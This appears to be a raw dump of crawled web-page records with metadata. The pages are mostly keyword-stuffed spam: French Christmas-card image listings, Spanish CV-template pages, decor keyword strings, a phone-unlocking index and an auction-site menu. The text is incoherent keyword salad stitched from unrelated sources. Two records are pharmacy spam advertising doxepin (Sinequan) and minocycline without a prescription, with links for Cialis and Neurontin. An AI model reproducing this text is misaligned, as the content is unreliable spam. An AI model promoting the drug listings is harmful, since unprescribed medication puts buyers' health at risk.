Noel Gratuites belle image pour noel – up position 92344967\nBelles Photos De Noel Gratuites images de noel animées gratuites – croix saint julien 614f402c.gif\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites images gratuites pere noel\nBelles Photos De Noel Gratuites belle photo de noel gratuite – pure moringa images sapin noel 2\nBelles Photos De Noel Gratuites image de noël: belle images gratuites de noël. les plus belles belle images gratuites de noel\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites image gratuite de noel\nBelles Photos De Noel Gratuites belles images de noel gratuites – up position sapin gratuite a telecharger\nBelles Photos De Noel Gratuites belles images animees de noel 38f2939b.gif\nBelles Photos De Noel Gratuites cartes de noël gratuites – joliecarte carte joyeux noel\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites belles images noel\nBelles Photos De Noel Gratuites cartes virtuelles noel gratuites – mjcfj val bonne ccam170041\nBelles Photos De Noel Gratuites belles images animees de noel 018d532f.gif\nBelles Photos De Noel Gratuites image noel gratuite animee image noel gratuite animee1\nBelles Photos De Noel Gratuites les plus belles cartes de voeux gratuites de noel | images gratuites banque d images gratuites libres de droits370 1560×1103\nBelles Photos De Noel Gratuites carte fete de noel gratuite – croix saint julien carte de noel gratuite toutpratique texte de noel fc3aate de noel joyeux noel\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites images gratuites noel whatsapp\nBelles Photos De Noel Gratuites noel images gratuites | images gratuites et libres de droits plus belles images de noel gratuites 1 1560×1040\nBelles Photos De Noel Gratuites unique belles cartes de noel jolies cartes de voeux gratuites stupefiant belles cartes de noel belles cartes de noel gratuites\nBelles Photos De Noel Gratuites image noel gratuite animee image noel gratuite animee5\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites image belle de pere noel\nBelles Photos De Noel Gratuites stupefiant belles cartes de noel jolies cartes noel gratuites stupefiant belles cartes de noel jolies cartes noel gratuites\nBelles Photos De Noel Gratuites compilation des plus belles chansons de noël – les plus belles maxresdefault\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites images gratuites noel facebook\nBelles Photos De Noel Gratuites image noel gratuite animee image noel gratuite animee7\nBelles Photos De Noel Gratuites cartes de noël gratuites – joliecarte joyeuses fetes\nBelles Photos De Noel Gratuites image de noël – belle collection de images de noël gratuites image belle noel\nBelles Photos De Noel Gratuites les plus belles cartes de voeux gratuites de noel | images gratuites images et photos gratuites libres de droits tc3a9lc3a9chargement gratuits2\nBelles Photos De Noel Gratuites carte de voeux de noel gratuite – vous tout simplement 6bfa2334cc8236b1d68cbb1a8ba771ac\nBelles Photos De Noel Gratuites carte noël : envoyez des cartes de noël virtuelles gratuites cvpms180003\nBelles Photos De Noel Gratuites cartes de noel musicales gratuites – tourisme miramont noelbas\nBelles Photos De Noel Gratuites image de noël: images de noël gratuites pixabay. les plus belles image de noel images de noel gratuites pixabay les plus belles avec images noel gratuites\nBelles Photos De Noel Gratuites roger habilleur – page 69 sur 182 – cccb150019\nBelles Photos De Noel Gratuites belles images de noel gratuites. belles images de noel gratuites fond ecran noel\nBelles Photos De Noel Gratuites 118 meilleures images du tableau facebook | love, world et beautiful 629935cc47dd364ef3e82e7b984bc75f gif noel le blog\nBelles Photos De Noel Gratuites cartes de voeux gratuites pour noël et le nouvel an – lecture c002main 288×350\nBelles Photos De Noel Gratuites marché de noël et illuminations 2017 : les plus belles photos img5348\nBelles Photos De Noel Gratuites album photo de noël. images et fonds d'écran. dinosoria noel021024jpg\nBelles Photos De Noel Gratuites cartes de noël gratuites – joliecarte bon reveillon\nBelles Photos De Noel Gratuites unique belles cartes de noel jolies cartes de voeux gratuites unique belles cartes de noel jolies cartes de voeux gratuites animees\nBelles Photos De Noel Gratuites jolie carte noel gratuite animée – urps-ml-fc.fr mini social 10\nBelles Photos De Noel Gratuites noel animé gratuit – promo key ob410243images noel 2013 11 snow 1.gif\nBelles Photos De Noel Gratuites cartes de noël gratuites – joliecarte bon reveillon de noel\nBelles Photos De Noel Gratuites félicitations pour noël – les cartes vivantes pour n'importe quelle fête 01c76ec92ada32xl\nBelles Photos De Noel Gratuites lumières de noël : image gratuite de noël lumieres de noel\nBelles Photos De Noel Gratuites photo noel gratuit noel sapin3\nBelles Photos De Noel Gratuites carte postale noel gratuite | elearningsummit noel 38\nBelles Photos De Noel Gratuites cartes de noel musicales gratuites – croix saint julien 40cbbfd3d751dc6cf32ce276372d600c\nBelles Photos De Noel Gratuites unique belles cartes de noel jolies cartes de voeux gratuites etourdissant belles cartes de noel jolies cartes de voeux animees gratuites\nBelles Photos De Noel Gratuites belles images de noel gratuites | images gratuites et libres de droits noel photos images gratuites libres de droits 12\nBelles Photos De Noel Gratuites rouge blanc la neige · image gratuite sur pixabay red 840627960720","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/frasesparatatuajes.club\/belles-photos-de-noel-gratuites\/50483\/","date":"2019-02-22T17:31:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247518497.90\/warc\/CC-MAIN-20190222155556-20190222181556-00176.warc.gz","language":"ina","language_score":0.3075267673,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30752676725387573, \"fra_Latn_score\": 0.13937470316886902, \"lim_Latn_score\": 0.06367424130439758, \"frp_Latn_score\": 0.06255555897951126, \"nrm_Latn_score\": 0.05982256308197975, \"lat_Latn_score\": 0.046990152448415756, \"ast_Latn_score\": 0.037452492862939835, \"nld_Latn_score\": 0.02380492351949215, \"nhg_Latn_score\": 0.0234060101211071, \"dag_Latn_score\": 0.02209283597767353, \"nov_Latn_score\": 0.019228093326091766, \"srn_Latn_score\": 0.013810656033456326, \"fry_Latn_score\": 0.01186599861830473}","num_words":1615,"character_repetition_ratio":0.31,"word_repetition_ratio":0.347,"special_characters_ratio":0.203,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.356,"perplexity_score":7509.6,"cluster_detection":-1} +{"text":"como hacer un curriculum vitae cronologico c³mo hacer un curriculum vitae, o hacer un curriculum vitae o hacer un curriculum resumido como hacer un curriculum vitae cronologico, curriculum vitae cronologico como hacer un curriculum vitae cronologico, como hacer un curriculum vitae cronologico 131 best cv images on pinterest, 5 curriculum vitae em portugues bussines proposal 2017 curriculum como hacer un curriculum vitae cronologico, o hacer un buen curriculum vitae sin experiencia laboral ejemplos como hacer un curriculum vitae cronologico,\nComo Hacer Un Curriculum Vitae Cronologico C³mo Hacer Un Curriculum Vitae fuente: grupo2000.es\nO Hacer Un Curriculum Vitae O Hacer Un Curriculum Resumido Como Hacer Un Curriculum Vitae Cronologico fuente: comohaceruncurriculumvitae2016.blogspot.com\nCurriculum Vitae Cronologico Como Hacer Un Curriculum Vitae Cronologico fuente: teleycinema.com\nComo Hacer Un Curriculum Vitae Cronologico 131 Best Cv Images On Pinterest fuente: pinterest.es\n5 Curriculum Vitae Em Portugues Bussines Proposal 2017 Curriculum Como Hacer Un Curriculum Vitae Cronologico fuente: huntvilla.info","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-cronologico\/como-hacer-un-curriculum-vitae-cronologico-curr%C2%ADculum-vitae-cronol%C2%B3gico-modelo-1\/","date":"2019-06-17T16:46:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998513.14\/warc\/CC-MAIN-20190617163111-20190617185111-00023.warc.gz","language":"ina","language_score":0.3295972645,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32959726452827454, \"lat_Latn_score\": 0.1901453137397766, \"spa_Latn_score\": 0.11148055642843246, \"sco_Latn_score\": 0.05185138061642647, \"srd_Latn_score\": 0.05147415027022362, \"eus_Latn_score\": 0.025056442245841026, \"scn_Latn_score\": 0.018567439168691635, \"yua_Latn_score\": 0.0173251461237669, \"cbk_Latn_score\": 0.012119436636567116, \"ita_Latn_score\": 0.011853054165840149, \"arg_Latn_score\": 0.010502185672521591}","num_words":301,"character_repetition_ratio":0.235,"word_repetition_ratio":0.527,"special_characters_ratio":0.173,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.352,"perplexity_score":7385.1,"cluster_detection":-1} +{"text":"como hacer un curriculum vitae europass modelo de curriculum vitae europeo modelo de curriculum vitae, die besten bewerbung auf spanisch como hacer un curriculum vitae europass, como hacer un curriculum vitae europass curriculum vitae europass 2015, plantilla de curriculum vitae zaxa o hacer un curriculum vitae como hacer un curriculum vitae europass, como hacer un curriculum vitae europass inspirierende lebenslauf spanisch,\nComo Hacer Un Curriculum Vitae Europass Modelo De Curriculum Vitae Europeo Modelo De Curriculum Vitae fuente: modelodecurriculumvitae.blogs19.com\nDie Besten Bewerbung Auf Spanisch Como Hacer Un Curriculum Vitae Europass fuente: deckblatts.club\nComo Hacer Un Curriculum Vitae Europass Curriculum Vitae Europass 2015 fuente: curriculumdoc.website\nPlantilla De Curriculum Vitae Zaxa O Hacer Un Curriculum Vitae Como Hacer Un Curriculum Vitae Europass fuente: curriculumvt.me\nComo Hacer Un Curriculum Vitae Europass Inspirierende Lebenslauf Spanisch fuente: lebenslaufs.club\nModel Cv European Franceza Download Exatofemto Como Hacer Un Curriculum Vitae Europass fuente: exatofemto.com\n12 Ux Designer Resume Sample S Resumeviking Como Hacer Un Curriculum Vitae Europass fuente: resumeviking.com\nmodel cv european franceza download exatofemto como hacer un curriculum vitae europass, 12 ux designer resume sample s resumeviking como hacer un curriculum vitae europass, modelo de cv en word como hacer un curriculum vitae europass, como hacer un curriculum vitae europass model cv european franceza download exatofemto,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-europass\/","date":"2019-07-23T00:47:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528635.94\/warc\/CC-MAIN-20190723002417-20190723024417-00371.warc.gz","language":"ina","language_score":0.3519492149,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35194921493530273, \"spa_Latn_score\": 0.16231054067611694, \"ast_Latn_score\": 0.09636393934488297, \"lat_Latn_score\": 0.09559059888124466, \"sco_Latn_score\": 0.04120759665966034, \"eus_Latn_score\": 0.03141142800450325, \"srd_Latn_score\": 0.02793819084763527, \"glg_Latn_score\": 0.021939720958471298, \"frp_Latn_score\": 0.014329727739095688, \"arg_Latn_score\": 0.011598366312682629, \"ron_Latn_score\": 0.011167631484568119, \"por_Latn_score\": 0.010118170641362667}","num_words":438,"character_repetition_ratio":0.23,"word_repetition_ratio":0.576,"special_characters_ratio":0.16,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.467,"perplexity_score":6015.6,"cluster_detection":-1} +{"text":"Bibliothèque meuble fly casas prefabricadas modernas precios 2019 modelos bibliotheque sove bibliothc bureau sovedis aquatabs bibliotha decoracion imagenes\nBibliothèque meuble fly tipos de casas 2019 modelos bibliotheque unique bibliothc bois bibliotha decoracion imagenes\nBibliothèque meuble fly objetos de decoracion modernos 2019 modelos bibliotheque unique biblioth design avec pour organiser bibliotha hungry ideas imagenes\nPost Relacionados\nEntradas recientes\nCategorías\nLo más visitado:","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/zivestudios.com\/bibliotheque-meuble-fly\/","date":"2019-07-16T07:04:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524503.7\/warc\/CC-MAIN-20190716055158-20190716081158-00307.warc.gz","language":"ina","language_score":0.4661168754,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46611687541007996, \"lat_Latn_score\": 0.19157297909259796, \"spa_Latn_score\": 0.07852591574192047, \"por_Latn_score\": 0.06034669280052185, \"eng_Latn_score\": 0.014830632135272026, \"oci_Latn_score\": 0.014334060251712799, \"alz_Latn_score\": 0.013281198218464851, \"nhg_Latn_score\": 0.012396421283483505}","num_words":131,"character_repetition_ratio":0.116,"word_repetition_ratio":0.131,"special_characters_ratio":0.148,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.548,"perplexity_score":15647.1,"cluster_detection":-1} +{"text":"Valutazione 4.4 sulla base di 287 voti.\nPrezzo da €0.26 Per pillola\nA buon mercato Doxepin hydrochloride Repubblica Ceca\nfarmaco generico del Sinequan\nAcquista Sinequan Doxepin hydrochloride Singapore\nfarmacia line per Sinequan\nA buon mercato Sinequan Doxepin hydrochloride Stati Uniti\nSinequan generico senza ricetta in farmacia\nOrdine Sinequan 10 mg Norvegia\nOrdine 10 mg Sinequan Austria\ncomprar Sinequan sin receta en farmacias\nAcquistare Sinequan Doxepin hydrochloride Norvegia\ngenerico de Sinequan en mexico\ngenerico Sinequan 10 mg Giappone\nexiste el generico de Sinequan\nbuy Dapoxetine\nAcquistare Sinequan Austria\nforum acquisto Sinequan online\nin linea Sinequan 10 mg Svezia\nprecio en farmacias de Sinequan 10 mg\nbasso costo Sinequan Giappone\ngenerico 10 mg Sinequan Emirati Arabi Uniti\nmedicamento generico de Sinequan\nIl costo di Doxepin hydrochloride Brasile\nchi ha usato il Sinequan generico\ngenerico Sinequan preço\nOrdine Sinequan Norvegia\nventa Sinequan farmacias chile\nquanto costa Sinequan generico\nSinequan generico farmacias similares mexico\nSconto Sinequan 10 mg Italia\nacquistare Sinequan in sicurezza\nbasso costo 10 mg Sinequan Finlandia\nfarmacia Sinequan precio\ngenerico de Sinequan en españa\ndove si acquista Sinequan\nPrezzo 10 mg Sinequan Giappone\nacquistare Sinequan line\nPrezzo Sinequan Doxepin hydrochloride Belgio\nfarmacia online andorra Sinequan\nSinequan productos genericos\nSinequan vendita line italia\nA buon mercato Sinequan 10 mg Spagna\nposso comprare il Sinequan in farmacia\nacquisto Sinequan\nlibyan soldiers with Sinequan\nSinequan vendita svizzera\nPrezzo Doxepin hydrochloride Spagna\nprezzo Sinequan farmacia italia\nAcquistare Sinequan 10 mg Israele\nSinequan de farmacia\nse puede comprar Sinequan sin receta medica en farmacia en españa\nSinequan farmacias sin receta argentina\nprecio Sinequan en la farmacia\nSinequan generico onde comprar\nqual e o nome generico do Sinequan\nIl costo di Sinequan Doxepin hydrochloride Singapore\nventa de Sinequan en farmacias de lima\nPrezzo basso Sinequan Belgio\nSinequan generico bonifico\nIl costo di Sinequan 10 mg USA\nconveniente Doxepin hydrochloride Croazia\nacquisto Sinequan pagamento in contrassegno\nbasso costo 10 mg Sinequan US\nPrezzo Sinequan 10 mg Portogallo\nacquistare Sinequan milano\ncome posso acquistare Sinequan\nSinequan en farmacia precio\nIl costo di 10 mg Sinequan Olanda\nQuanto costa Sinequan Doxepin hydrochloride Svizzera\nOrdine 10 mg Sinequan Polonia\nAcquistare Sinequan Doxepin hydrochloride Finlandia\ntipos Sinequan generico\nAcquista Sinequan Australia\nPrezzo Sinequan Israele\nA buon mercato Sinequan Doxepin hydrochloride Repubblica Ceca\ncosto del Sinequan generico\nSconto Sinequan Doxepin hydrochloride Francia\nIl costo di Sinequan 10 mg Spagna\nIl costo di Sinequan Doxepin hydrochloride Stati Uniti\ncomprar Sinequan Doxepin hydrochloride generico\nQuanto costa Sinequan Svizzera\nSinequan farmacia on line\nin linea Doxepin hydrochloride Svizzera\nacquisto illegale Sinequan\nAcquistare Sinequan Portogallo\nAcquistare 10 mg Sinequan Stati Uniti\ngenerico Sinequan\nin linea Sinequan Doxepin hydrochloride Israele\nPrezzo basso Sinequan 10 mg UK\nSinequan naturale farmacia senza ricetta\nSinequan farmacia senza ricetta\nSinequan generico tadacip\nventa Sinequan generico\nA buon mercato Sinequan 10 mg Olanda\nOrdine 10 mg Sinequan Canada\nSinequan generico prezzo in farmacia\nPrezzo basso Sinequan\nSinequan mexico farmacia\nacquistare Sinequan a san marino\ncomprar Sinequan farmacias sin receta\ngenerico Sinequan Brasile\ncomprar Sinequan generico foro\nventa de Sinequan en farmacias en chile\nin linea 10 mg Sinequan US\nSinequan precio farmacia ahorro\nSconto Sinequan Svezia\nPrezzo basso Sinequan 10 mg Polonia\nSinequan generico online forum\nQuanto costa Doxepin hydrochloride Inghilterra\ncomprare Sinequan generico farmacia\nin linea 10 mg Sinequan Finlandia\nconveniente Sinequan USA\ncomprar genericos Sinequan españa\ngenerico Sinequan en farmacia\nin linea Sinequan Croazia\nbasso costo Sinequan 10 mg Regno Unito\nfarmacia line per Sinequan\nAcquistare Sinequan 10 mg Svizzera\ngenerico do Sinequan a venda\nSinequan farmacias sin receta españa\nPrezzo Sinequan 10 mg Stati Uniti\nconveniente 10 mg Sinequan\nOrdine Sinequan Regno Unito\nSinequan na farmacia popular\nquanto costa Sinequan farmacia\nSinequan sin receta farmacias andorra\nSconto Sinequan Doxepin hydrochloride Grecia\nSinequan comprare farmacia\nSinequan farmacias mexico\nvendita Sinequan generico\nla Sinequan en farmacias\nA buon mercato Sinequan Olanda\nIl costo di 10 mg Sinequan Danimarca\nAcquistare Sinequan 10 mg Portogallo\nSinequan generico italia si può avere\nin linea Doxepin hydrochloride Repubblica Ceca\nconveniente Sinequan 10 mg Brasile\ncheap Professional Cialis\nbuy Atomoxetine\n02mywifu.000webhostapp.com\nbuy Neurontin\nfJYtg","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rininuraida.000webhostapp.com\/2019\/05\/best-deal-sui-farmaci-generici-in-linea-10-mg-sinequan-acquista-in-batavia-ny-consegna-gratuita","date":"2019-09-19T00:30:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573385.29\/warc\/CC-MAIN-20190918234431-20190919020431-00210.warc.gz","language":"ina","language_score":0.4467564821,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4467564821243286, \"ita_Latn_score\": 0.11889129877090454, \"lat_Latn_score\": 0.08741505444049835, \"ile_Latn_score\": 0.07152631878852844, \"eus_Latn_score\": 0.06255009025335312, \"lij_Latn_score\": 0.020839732140302658, \"scn_Latn_score\": 0.019555937498807907, \"mlt_Latn_score\": 0.01843072846531868, \"nap_Latn_score\": 0.01417590957134962, \"kiu_Latn_score\": 0.014008964411914349, \"vec_Latn_score\": 0.01276461686939001, \"nld_Latn_score\": 0.01155442651361227, \"arg_Latn_score\": 0.010711539536714554}","num_words":1395,"character_repetition_ratio":0.199,"word_repetition_ratio":0.043,"special_characters_ratio":0.157,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.229,"perplexity_score":29967.3,"cluster_detection":-1} +{"text":"Partes de un curriculum vitae basico modelos de curriculum vitae basico para estudiantes modelo. Shopcv partes de un curriculum vitae basico. Feelcheated partes de un curriculum vitae basico. O hacer una carta de presentaci³n con ejemplos modelos 2018 partes de un curriculum vitae basico. Partes de un curriculum vitae basico samples functional resumes free sample resume business new a good. Partes de un curriculum vitae basico molde curriculum vitae basico the top architecture résumé cv designs.\nPartes De Un Curriculum Vitae Basico Modelos De Curriculum Vitae Basico Para Estudiantes Modelo fuente: curriculumvt.me\nShopcv Partes De Un Curriculum Vitae Basico fuente: shopcv.com\nFeelcheated Partes De Un Curriculum Vitae Basico fuente: feelcheated.com\nO Hacer Una Carta De Presentaci³n Con Ejemplos Modelos 2018 Partes De Un Curriculum Vitae Basico fuente: claudioinacio.com\nPartes De Un Curriculum Vitae Basico Samples Functional Resumes Free Sample Resume Business New A Good fuente: insightmanagementcorp.com\nPartes De Un Curriculum Vitae Basico Molde Curriculum Vitae Basico the top Architecture Résumé Cv Designs fuente: teleycinema.com\nEvidence Based Strategies to Promote Physical Activity Among Partes De Un Curriculum Vitae Basico fuente: researchgate.net\nEvidence based strategies to promote physical activity among partes de un curriculum vitae basico. Maternity leave letter sample partes de un curriculum vitae basico. Cv modelo basico descargar partes de un curriculum vitae basico. 42 inspirational gallery resume en espanol ejemplos partes de un curriculum vitae basico.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/curriculumdoc.website\/partes-de-un-curriculum-vitae-basico\/","date":"2019-11-14T23:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668544.32\/warc\/CC-MAIN-20191114232502-20191115020502-00226.warc.gz","language":"ina","language_score":0.3017997742,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3017997741699219, \"spa_Latn_score\": 0.1501646488904953, \"lat_Latn_score\": 0.10955550521612167, \"arg_Latn_score\": 0.09662118554115295, \"ast_Latn_score\": 0.052589260041713715, \"glg_Latn_score\": 0.043215129524469376, \"cbk_Latn_score\": 0.03558795899152756, \"sco_Latn_score\": 0.026992088183760643, \"srd_Latn_score\": 0.021986082196235657, \"ile_Latn_score\": 0.014979321509599686, \"eng_Latn_score\": 0.014965634793043137}","num_words":422,"character_repetition_ratio":0.219,"word_repetition_ratio":0.448,"special_characters_ratio":0.165,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":3965.7,"cluster_detection":-1} +{"text":"comprar minocycline hydrochloride natural en barcelona minocycline hydrochloride online envio rapido\nventa de minocycline hydrochloride y minocin\ncomprar minocycline hydrochloride 100 con seguridad minocycline hydrochloride 50 mg venta contrareembolso la minocycline hydrochloride se puede comprar sin receta venta de minocycline hydrochloride la serena comprar minocycline hydrochloride 100 en internet minocycline hydrochloride precio de venta en colombia se puede comprar minocycline hydrochloride en farmacias similares compra minocycline hydrochloride generico online comprar minocycline hydrochloride 50 mg al mayoreo comprar minocin masticable comprar minocycline hydrochloride 100 natural en zaragoza comprar minocycline hydrochloride y minocin comprar minocin 50mg receta medica minocycline hydrochloride 50 precio en españa venta de minocycline hydrochloride en brasil venta de minocycline hydrochloride en tarragona minocycline hydrochloride generico farmacia andorra comprar minocin 50 mg sin receta eur comprar minocin generico comprar minocycline hydrochloride en bcn minocycline hydrochloride o similares\ndonde comprar minocycline hydrochloride sin receta comprar minocycline hydrochloride en linea onde comprar minocycline hydrochloride 100mg mais barato comprar minocycline hydrochloride web donde se puede comprar la minocycline hydrochloride\ncomprar minocin 100 mg por internet comprar minocycline hydrochloride original en 24 horas comprar minocycline hydrochloride 50mg puerto rico minocycline hydrochloride 50 en españa venta comprar minocycline hydrochloride femenino en mexico minocycline hydrochloride generico en farmacias comprar minocycline hydrochloride pereira comprar minocycline hydrochloride 100 mg amex comprar minocycline hydrochloride lima peru se puede comprar minocycline hydrochloride farmacia sin receta","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/playit4ward-sanantonio.ning.com\/profiles\/blogs\/farmacia-en-linea-donde-comprar-generico-minocycline-1","date":"2023-10-03T06:28:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511055.59\/warc\/CC-MAIN-20231003060619-20231003090619-00461.warc.gz","language":"ina","language_score":0.7335191965,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7335191965103149, \"nld_Latn_score\": 0.10916198045015335, \"mlt_Latn_score\": 0.03334524855017662, \"spa_Latn_score\": 0.019407013431191444, \"ile_Latn_score\": 0.013397177681326866, \"lvs_Latn_score\": 0.01138382125645876}","num_words":536,"character_repetition_ratio":0.439,"word_repetition_ratio":0.116,"special_characters_ratio":0.141,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.734,"perplexity_score":11432.3,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nOnePlus\nComo Liberar un OnePlus Ace 2 Pro Gratis\nComo Liberar un OnePlus Nord CE3 Gratis\nComo Liberar un OnePlus Nord 3 Gratis\nComo Liberar un OnePlus Nord N30 Gratis\nComo Liberar un OnePlus Nord CE 3 Lite Gratis\nComo Liberar un OnePlus Ace 2V Gratis\nComo Liberar un OnePlus 11R Gratis\nComo Liberar un OnePlus Ace 2 Gratis\nComo Liberar un OnePlus 11 Gratis\nComo Liberar un OnePlus Nord CE 3 Gratis\nComo Liberar un OnePlus Nord N300 Gratis\nComo Liberar un OnePlus Ace Pro Gratis\nComo Liberar un OnePlus Nord N20 SE Gratis\nComo Liberar un OnePlus 10T Gratis\nComo Liberar un OnePlus Nord 2T Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/comoliberar.com\/category\/oneplus\/","date":"2023-09-27T05:22:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510259.52\/warc\/CC-MAIN-20230927035329-20230927065329-00285.warc.gz","language":"ina","language_score":0.5732557178,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.573255717754364, \"ido_Latn_score\": 0.10871695727109909, \"frp_Latn_score\": 0.04439670965075493, \"ile_Latn_score\": 0.026652198284864426, \"oci_Latn_score\": 0.0247430969029665, \"lvs_Latn_score\": 0.02470448799431324, \"mwl_Latn_score\": 0.02442920207977295, \"ast_Latn_score\": 0.012808558531105518, \"glg_Latn_score\": 0.010580714792013168}","num_words":235,"character_repetition_ratio":0.362,"word_repetition_ratio":0.088,"special_characters_ratio":0.232,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.634,"perplexity_score":10943.0,"cluster_detection":-1} +{"text":"Non è ancora disponibile una wiki...\n|Posizione||Ascolta||Preferito||Nome brano||Ascoltatori|\n|1||Soy igual que tu||10 ascoltatori|\n|2||Soy Igual Que Tu (RMX)||4 ascoltatori|\n|3||Igual que tu||3 ascoltatori|\n|4||Soy Igual Que Tú||3 ascoltatori|\n|5||No deben tocarte||1 ascoltatore|\n|6||Soy Igual Que Tu - Version Sa||1 ascoltatore|\n|7||SOY IGUAL QUE TU - LEIRBAG DJ TRIBUTO SOMAGG BEATS XTD REMIX||1 ascoltatore|\n|8||Soy Igual Que Tu (Hit Noviembre 2007)||1 ascoltatore|\n|9||Soy Igual Que Tu (Salsa Remix)||1 ascoltatore|\n|10||Soy Igual Que Tu (Leirbag Dj Tributo Somagg Beats Xtd Remix)||1 ascoltatore|","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.last.fm\/it\/music\/Alexis+y+Fido+feat+Toby+Love?setlang=it","date":"2015-09-02T04:52:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440645257063.58\/warc\/CC-MAIN-20150827031417-00229-ip-10-171-96-226.ec2.internal.warc.gz","language":"ina","language_score":0.3475410938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34754109382629395, \"vec_Latn_score\": 0.14623114466667175, \"ita_Latn_score\": 0.12837499380111694, \"srd_Latn_score\": 0.0808749571442604, \"arg_Latn_score\": 0.03718406707048416, \"nap_Latn_score\": 0.032537613064050674, \"frp_Latn_score\": 0.0197090245783329, \"cat_Latn_score\": 0.013282249681651592, \"pcm_Latn_score\": 0.011588415130972862, \"spa_Latn_score\": 0.010380425490438938}","num_words":162,"character_repetition_ratio":0.215,"word_repetition_ratio":0.216,"special_characters_ratio":0.312,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.232,"perplexity_score":18197.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite generatoriAste per le vendite attrezzature industrialiAste per le vendite compressoriAste per le vendite altre macchine ediliAste per le vendite impianti di saldaturaAste per le vendite motopompeAste per le vendite impianti di frantumazioneAste per le vendite trivellatriciAste per le vendite posatubiAste per le vendite nastri trasportatoriAste per le vendite impalcature » Aste per le vendite generatori ENDRESSAste per le vendite CATERPILLARAste per le vendite DENYOAste per le vendite FG WILSONAste per le vendite GESANAste per le vendite OLYMPIANAste per le vendite TEREXAste per le vendite WACKER","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/generatori\/ENDRESS--a5c95tm3431","date":"2017-04-27T07:20:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121893.62\/warc\/CC-MAIN-20170423031201-00163-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.6747274995,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6747274994850159, \"ita_Latn_score\": 0.19579294323921204, \"nap_Latn_score\": 0.053459592163562775, \"lmo_Latn_score\": 0.02620980702340603, \"frp_Latn_score\": 0.018896372988820076, \"bew_Latn_score\": 0.018702562898397446}","num_words":196,"character_repetition_ratio":0.386,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.854,"perplexity_score":2636.2,"cluster_detection":-1} +{"text":"blog deco scandinave salle de bain en.\nteva deco salle de bain scandinave decoration pour idee inspiration,deco salle de bain nordique style scandinave decoration,deco salle de bain style scandinave idee teva belle,idee deco salle de bain scandinave blog teva,decoration salle de bain scandinave idee deco la en photos pour,deco salle de bain nordique idee scandinave teva ,decoration salle de bain scandinave teva deco style inspiration,deco salle de bain nordique decoration scandinave pour,blog deco scandinave salle de bain style decoration pour en,deco salle de bain style scandinave blog decoration 